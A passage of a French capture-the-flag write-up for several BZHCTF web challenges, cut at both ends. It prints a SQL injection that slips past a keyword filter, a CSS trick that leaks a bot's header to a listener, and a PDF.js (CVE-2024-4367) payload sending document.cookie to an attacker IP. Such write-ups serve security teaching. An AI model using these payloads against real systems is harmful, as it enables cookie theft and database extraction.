style="color:#98C379"> 'LIBEREZ-GCC: OUI'</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'Cookie: jaiplustropdinspi=1'</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'content-type: application/json'</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -d</span><span style="color:#98C379"> '{"enbretagne":"il fait toujours beau"}'</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'content-length: 1337'</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -H</span><span style="color:#98C379"> "referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -x</span><span style="color:#98C379"> http://127.0.0.1:8080</span><span style="color:#D19A66"> -k</span></span></code></pre></div></div></figure><p>Sauf que ça ne fonctionne pas et fait planter le serveur avec l'erreur <code>RST_STREAM received error with code: 0x01 (Protocol error detected)</code>.</p><p>On ne peut pas injecter du contenu arbitrairement dans les données comme une valeur précise est attendu et qu'il ne doit pas y avoir d'autres noeuds. Par contre, on peut toujours ajouter arbitrairement des espaces à la fin jusqu'à ce que la taille fasse 1337 au lieu de 38.</p><p>Cela sera plus simple à faire programmatiquement en Ruby.</p><p>Le site <a href="https://curlconverter.com/">https://curlconverter.com/</a> permet de convertir une commande curl dans n'importe quel langage.Il reste just à éditer le code converti afin d'ajouter des espaces à la fin fin du corps du message HTTP.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'net/http'</span></span><span class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'json'</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">uri</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> URI</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'https://curlmania.ctf.bzh/1337'</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">params</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">  a</span><span style="color:#D19A66">:</span><span style="color:#98C379"> '1'</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  b</span><span style="color:#D19A66">:</span><span style="color:#98C379"> '2'</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  c</span><span style="color:#D19A66">:</span><span style="color:#98C379"> '35'</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#ABB2BF">uri.</span><span style="color:#61AFEF">query</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> URI</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">encode_www_form</span><span style="color:#ABB2BF">(params)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">req</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Net</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">HTTP</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">Get</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(uri)</span></span><span class="line"><span style="color:#ABB2BF">req.</span><span style="color:#61AFEF">content_type</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'application/json'</span></span><span class="line"><span style="color:#ABB2BF">req[</span><span style="color:#98C379">'LIBEREZ-GCC'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'OUI'</span></span><span class="line"><span style="color:#ABB2BF">req[</span><span style="color:#98C379">'Cookie'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> 'jaiplustropdinspi=1'</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># req['content-length'] = '1337'</span></span><span class="line"><span style="color:#ABB2BF">req[</span><span style="color:#98C379">'referer'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> "Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"</span></span><span class="line"><span style="color:#ABB2BF">req[</span><span style="color:#98C379">'User-Agent'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> "J'aime la galette saucisse"</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># req.body = {</span></span><span class="line"><span style="color:#7F848E;font-style:italic">#   'enbretagne' => 'il fait toujours beau'</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># }.to_json</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">req.</span><span style="color:#61AFEF">body</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '{"enbretagne":"il fait toujours beau"}'</span><span style="color:#56B6C2"> +</span><span style="color:#98C379"> ' '</span><span style="color:#56B6C2"> *</span><span style="color:#ABB2BF"> (</span><span style="color:#D19A66">1337</span><span style="color:#56B6C2"> -</span><span style="color:#D19A66"> 38</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">req_options</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">  use_ssl</span><span style="color:#D19A66">:</span><span style="color:#ABB2BF"> uri.</span><span style="color:#61AFEF">scheme</span><span style="color:#56B6C2"> ==</span><span style="color:#98C379"> 'https'</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#E06C75">res</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Net</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">HTTP</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">start</span><span style="color:#ABB2BF">(uri.</span><span style="color:#61AFEF">hostname</span><span style="color:#ABB2BF">, uri.</span><span style="color:#61AFEF">port</span><span style="color:#ABB2BF">, req_options) </span><span style="color:#C678DD">do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">http</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#ABB2BF">  http.</span><span style="color:#61AFEF">request</span><span style="color:#ABB2BF">(req)</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#ABB2BF"> res.</span><span style="color:#61AFEF">body</span></span></code></pre></div></div></figure><p><code>BZHCTF{W0w_You_KnoW_H0w_To_FLLW_INSTRXCTIONS!!}</code></p><h2 id="Web-Designer">Web - Designer<a class="header-anchor" href="#Web-Designer">#</a></h2><blockquote><p>Un nouveau SaaS ennuyeux a publié son application inutile, qui devrait vous aider à générer des boutons/liens HTML sans avoir à écrire de code... Selon nous, il n'y a pas d'utilité spécifique à ce truc. Néanmoins, ils semblent récompenser les personnes qui peuvent trouver des vulnérabilités sur leurs produits avec des flags.</p><p>Auteur : <a href="https://x.com/bWlrYQ">Mika</a></p></blockquote><p>Il y a une interface <code>/designer</code> qui génère un bouton HTML avec tout un tas d'attributs et qui peut s'auto-exécuter. L'interface garde toutes les valeurs choisies sous forme de paramètre GET.De l'autre côté, il y a l'interface <code>/report</code> qui permet de soumettre une URL qu'un bot viendra consulter.</p><p>Normalement, on pense directement XSS. Mais ce n'est pas nécessaire ici. Dans le code du bot, on voit que le flag est injecté dans le <code>User-Agent</code> du bot. Il suffit donc que le bot nous contacte pour récupérer la valeur de l'en-tête.</p><p>Dans l'attribut <code>style</code>, il y a donc juste à changer :</p><figure class="shiki diff"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">-background: linear-gradient(135deg, #6e8efb, #a777e3);</span></span><span class="line"><span style="color:#98C379">+background: url("http://10.50.104.5:9999");</span></span></code></pre></div></div></figure><p>Et donc soumettre l'URL suivante<a href="http://designer-85.chall.ctf.bzh/designer?command=none&amp;type=button&amp;name=&amp;form=&amp;style=background%3A+url%28%22http%3A%2F%2F10.50.104.5%3A9999%22%29%3B+color%3A+white%3B+padding%3A+12px+24px%3B+font-size%3A+16px%3B+border%3A+none%3B+border-radius%3A+8px%3B+box-shadow%3A+0+4px+10px+rgba%280%2C+0%2C+0%2C+0.2%29%3B&amp;hreflang=none&amp;rel=none&amp;target=_blank&amp;autoclick=on">http://designer-85.chall.ctf.bzh/designer?command=none&amp;type=button&amp;name=&amp;form=&amp;style=background%3A+url(&quot;http%3A%2F%2F10.50.104.5%3A9999&quot;)%3B+color%3A+white%3B+padding%3A+12px+24px%3B+font-size%3A+16px%3B+border%3A+none%3B+border-radius%3A+8px%3B+box-shadow%3A+0+4px+10px+rgba(0%2C+0%2C+0%2C+0.2)%3B&amp;hreflang=none&amp;rel=none&amp;target=_blank&amp;autoclick=on</a>sur<a href="http://designer-85.chall.ctf.bzh/report">http://designer-85.chall.ctf.bzh/report</a>.</p><p>Avec bien sûr un service en écoute :</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ncat -nlvp 9999</span></span><span class="line"><span>Ncat: Version 7.95 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Listening on [::]:9999</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:9999</span></span><span class="line"><span>Ncat: Connection from 10.84.53.162:53142.</span></span><span class="line"><span>GET / HTTP/1.1</span></span><span class="line"><span>Host: 10.50.104.5:9999</span></span><span class="line"><span>Connection: keep-alive</span></span><span class="line"><span>Accept-Language: en-US,en;q=0.9</span></span><span class="line"><span>User-Agent: BZHCTF{P1Ng_P0nG_1s_4w3s0m3_D0_Y0u_4Gr33?}</span></span><span class="line"><span>Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8</span></span><span class="line"><span>Referer: http://localhost/</span></span><span class="line"><span>Accept-Encoding: gzip, deflate</span></span></code></pre></div></div></figure><h2 id="Web-GORMiti">Web - GORMiti<a class="header-anchor" href="#Web-GORMiti">#</a></h2><blockquote><p>Il y a fort longtemps, un monde merveilleux de combat épique pour sauver la nature a vu le jour. Ce monde, nous l'avons admiré, nous l'avons aimé, nous l'avons vécu. A travers la télévision, la magie des Gormitis nous a transporté dans un monde où la nature est reine. Alors pour rendre hommage à ce monde, j'ai décidé d'ouvrir mon propre blog sur l'histoire de gormiti. C'est encore en version beta, mais j'ai fait attention à tout bien sécuriser !</p><p>Auteur : Al-oxos</p></blockquote><p>En lisant le code source, le flag est inséré dans une table secrète qu'il va falloir lire à l'aide d'une SQLi.</p><figure class="shiki go"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">flagValue</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> os</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">Getenv</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"FLAG"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#E06C75"> flagValue</span><span style="color:#56B6C2"> ==</span><span style="color:#98C379"> ""</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">  flagValue</span><span style="color:#E5C07B"> =</span><span style="color:#98C379"> "BZHCTF{FAKE_FLAG}"</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">var</span><span style="color:#E06C75"> secretCount</span><span style="color:#C678DD"> int64</span></span><span class="line"><span style="color:#E06C75">db</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">Model</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">&#x26;</span><span style="color:#E5C07B">Secret</span><span style="color:#ABB2BF">{}).</span><span style="color:#61AFEF">Count</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">&#x26;</span><span style="color:#E06C75">secretCount</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#E06C75"> secretCount</span><span style="color:#56B6C2"> ==</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">  db</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">Create</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">&#x26;</span><span style="color:#E5C07B">Secret</span><span style="color:#ABB2BF">{</span><span style="color:#E06C75">Flag</span><span style="color:#ABB2BF">: </span><span style="color:#E06C75">flagValue</span><span style="color:#ABB2BF">})</span></span></code></pre></div></div></figure><p>On ne peut pas taper sur la route <code>/search</code> à cause de la conf nginx mais pas de soucis pour taper sur <code>/post/&lt;id&gt;</code>.</p><figure class="shiki nginx"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">server</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">    listen </span><span style="color:#D19A66">80</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    location</span><span style="color:#ABB2BF"> / {</span></span><span class="line"><span style="color:#C678DD">        proxy_pass </span><span style="color:#ABB2BF">http://app:8080/;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    location</span><span style="color:#ABB2BF"> ~ </span><span style="color:#E06C75">^/post/([0-9]+)$ </span><span style="color:#ABB2BF">{</span></span><span class="line"><span style="color:#C678DD">        proxy_pass </span><span style="color:#ABB2BF">http://app:8080/post/$</span><span style="color:#E06C75">1</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">        proxy_http_version </span><span style="color:#D19A66">1.1</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">        proxy_set_header </span><span style="color:#ABB2BF">Upgrade $</span><span style="color:#E06C75">http_upgrade</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">        proxy_set_header </span><span style="color:#ABB2BF">Connection $</span><span style="color:#E06C75">http_connection</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    location</span><span style="color:#ABB2BF"> /search {</span></span><span class="line"><span style="color:#C678DD">        deny </span><span style="color:#D19A66">all</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>Mais le paramètre <code>ID</code> est filtré avec la fonction <code>Sanitize()</code>.</p><figure class="shiki go"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">router</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">GET</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/post/:id"</span><span style="color:#ABB2BF">, </span><span style="color:#C678DD">func</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">c</span><span style="color:#C678DD"> *</span><span style="color:#E5C07B">gin</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">Context</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">  id</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> c</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">Param</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"id"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  safeID</span><span style="color:#E5C07B"> :=</span><span style="color:#61AFEF"> Sanitize</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">id</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">  var</span><span style="color:#E06C75"> post</span><span style="color:#E5C07B"> Post</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#E06C75"> err</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> db</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">First</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">&#x26;</span><span style="color:#E06C75">post</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75">safeID</span><span style="color:#ABB2BF">).</span><span style="color:#E06C75">Error</span><span style="color:#ABB2BF">; </span><span style="color:#E06C75">err</span><span style="color:#56B6C2"> !=</span><span style="color:#D19A66"> nil</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">    c</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">String</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">http</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">StatusNotFound</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"Post introuvable"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">    return</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#E06C75">  c</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">HTML</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">http</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">StatusOK</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"post.html"</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">gin</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">H</span><span style="color:#ABB2BF">{</span><span style="color:#98C379">"post"</span><span style="color:#ABB2BF">: </span><span style="color:#E06C75">post</span><span style="color:#ABB2BF">})</span></span><span class="line"><span style="color:#ABB2BF">})</span></span></code></pre></div></div></figure><p>La fonction <code>Sanitize()</code> nous bloque quelques caractères et mots clés SQL.</p><figure class="shiki go"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">func</span><span style="color:#61AFEF"> Sanitize</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">input</span><span style="color:#C678DD"> string</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">string</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> input</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAll</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"'"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAll</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"</span><span style="color:#56B6C2">\"</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"</span><span style="color:#56B6C2">\\\"</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAll</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">";"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  reOr</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> regexp</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">MustCompile</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">`(?i)or`</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> reOr</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAllString</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  reUnion</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> regexp</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">MustCompile</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">`(?i)union`</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> reUnion</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAllString</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  reSelect</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> regexp</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">MustCompile</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">`(?i)select`</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> reSelect</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAllString</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  reFrom</span><span style="color:#E5C07B"> :=</span><span style="color:#E06C75"> regexp</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">MustCompile</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">`(?i)from`</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> reFrom</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAllString</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAll</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"--"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAll</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"/*"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  s</span><span style="color:#E5C07B"> =</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">ReplaceAll</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">s</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"*/"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#C678DD">  return</span><span style="color:#E06C75"> s</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>Mais l'ordre à une importance. Commes les charges utiles interdites sont remplacées par rien / sont supprimées, on peut s'en servir pour contourner le filtre.</p><p>Par exemple, <code>--</code> est supprimé après <code>union</code> ou <code>select</code>, donc <code>sel--ect</code> une fois filtré donnera <code>select</code>.Par exemple, <code>/post/1 OR 1=1</code> ne fonctionne pas, mais <code>/post/1 O--R 1=1</code> retourne bien la page.</p><p>Il suffit donc de faire : <code>/post/1 UN--ION SE--LECT 1,2,3,flag,5 FR--OM secrets</code> pour sélectionner la colonne <code>flag</code> dans la table <code>secrets</code> et l'afficher à la place de l'article.</p><figure class="shiki http"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">GET</span><span style="color:#ABB2BF"> /post/1%20UN--ION%20SE--LECT%201,2,3,flag,5%20FR--OM%20secrets </span><span style="color:#C678DD">HTTP</span><span style="color:#ABB2BF">/</span><span style="color:#D19A66">1.1</span></span><span class="line"><span style="color:#E06C75">Host</span><span style="color:#C678DD">:</span><span style="color:#98C379"> gormiti-85.chall.ctf.bzh</span></span><span class="line"><span style="color:#E06C75">Accept-Language</span><span style="color:#C678DD">:</span><span style="color:#98C379"> fr-FR,fr;q=0.9</span></span><span class="line"><span style="color:#E06C75">Upgrade-Insecure-Requests</span><span style="color:#C678DD">:</span><span style="color:#98C379"> 1</span></span><span class="line"><span style="color:#E06C75">User-Agent</span><span style="color:#C678DD">:</span><span style="color:#98C379"> Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36</span></span><span class="line"><span style="color:#E06C75">Accept</span><span style="color:#C678DD">:</span><span style="color:#98C379"> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></span><span class="line"><span style="color:#E06C75">Referer</span><span style="color:#C678DD">:</span><span style="color:#98C379"> http://gormiti-85.chall.ctf.bzh/</span></span><span class="line"><span style="color:#E06C75">Accept-Encoding</span><span style="color:#C678DD">:</span><span style="color:#98C379"> gzip, deflate, br</span></span><span class="line"><span style="color:#E06C75">Connection</span><span style="color:#C678DD">:</span><span style="color:#98C379"> keep-alive</span></span></code></pre></div></div></figure><p><code>BZHCTF{G0rM1t1_1s_4m4z1ng_3v3n_w1th_h2c_smuggl1ng_4nd_sQL1}</code></p><h2 id="Web-Instead">Web - Instead<a class="header-anchor" href="#Web-Instead">#</a></h2><p><strong>J'ai commencé à résoudre ce défi pendant la compétition et l'ai fini à la maison avec le conteneur Docker après la fin de l'évènement.</strong></p><blockquote><p>Un de vos clients vient de créer un site web pour les professionnels à l'aide de son alternant. Apparemment, leur objectif est de concurrencer Linkedin et X ! On vous demande donc d'auditer ce site à l'aide du code source fourni. Prouvez à votre client que parfois, il vaut mieux faire appel à des professionnels.</p><p>Auteur : Al-oxos</p></blockquote><p>Il y a une fonctionnalité pour téléverser un CV en PDF sur son profil et une fonctionnalité de prévisualisation basé sur <code>&quot;pdfjs-dist&quot;: &quot;4.1.392&quot;,</code> qui est vulnérable à une injection de code JavaScript :</p><ul><li><a href="https://attackerkb.com/topics/lVx0BMtfWJ/cve-2024-4367?referrer=search">CVE-2024-4367</a></li><li><a href="https://security.snyk.io/vuln/SNYK-JS-PDFJSDIST-6810403">SNYK-JS-PDFJSDIST-6810403</a></li><li><a href="https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/">CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js</a></li></ul><p>Le CV PDF est affiché sur le profil d'un utilisateur que l'on peut ensuite signaler et qu'un bot ira voir.</p><p>Le PDF de démo déclenche bien une alerte XSS contenant l'origine et l'URL du PDF :</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>origin: https://instead-85.chall.ctf.bzh, pdf url: https://instead-85.chall.ctf.bzh/cv/25944f8e-65ac-47ec-b6b0-209ecf307aee</span></span></code></pre></div></div></figure><p>On peut donc utiliser un <a href="https://raw.githubusercontent.com/LOURC0D3/CVE-2024-4367-PoC/refs/heads/main/CVE-2024-4367.py">PoC</a> pour personnaliser la charge utile.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">fetch</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'https://10.50.104.5'</span><span style="color:#ABB2BF">,{</span><span style="color:#E06C75">method</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'POST'</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">mode</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'no-cors'</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">'prout'</span><span style="color:#ABB2BF">});</span></span></code></pre></div></div></figure><p>Le bot utilise le chromium du système qui est un Debian bookworm. La version de chromium devrait donc être au maximum 134.0.6998.35 ou 134.0.6998.88 selon <a href="https://repology.org/project/chromium/versions">https://repology.org/project/chromium/versions</a>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ python CVE-2024-4367.py "fetch('https://10.50.104.5',{method: 'POST',mode: 'no-cors',body: document.cookie});"</span></span><span class="line"><span>[+] Created malicious PDF file: poc.pdf</span></span><span class="line"><span>[+] Open the file with the vulnerable application to trigger the exploit.</span></span></code></pre></div></div></figure><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ sudo ncat --ssl -nlvp 443</span></span><span class="line"><span>[sudo] Mot de passe de noraj :</span></span><span class="line"><span>Ncat: Version 7.95 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.</span></span><span class="line"><span>Ncat: SHA-1 fingerprint: 77DC B076 F8CE 4514 0D5A DCDE 608B 6598 B992 B9F5</span></span><span class="line"><span>Ncat: Listening on [::]:443</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:443</span></span></code></pre></div></div></figure><p>Le problème est que le signalement ne fait qu'envoyer le bot sur le profil d'un utilisateur et que cette page ne contient pas le CV et donc la XSS. Il faut trouver un moyen de 